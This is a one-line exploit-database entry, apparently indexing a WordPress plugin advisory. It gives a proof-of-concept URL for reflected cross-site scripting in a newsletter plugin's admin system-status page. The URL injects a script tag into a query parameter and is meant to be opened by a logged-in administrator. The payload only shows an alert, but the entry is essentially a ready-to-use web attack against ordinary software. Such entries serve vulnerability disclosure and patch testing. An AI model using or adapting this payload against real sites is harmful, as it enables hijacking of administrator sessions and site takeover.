## https://sploitus.com/exploit?id=WPEX-ID:EB6FF6F0-60FE-4345-B443-97FD4800418C Make a logged in admin open https://example.com/wp-admin/admin.php?page=newsletter_system_status&a"><script>alert(/XSS/)</script>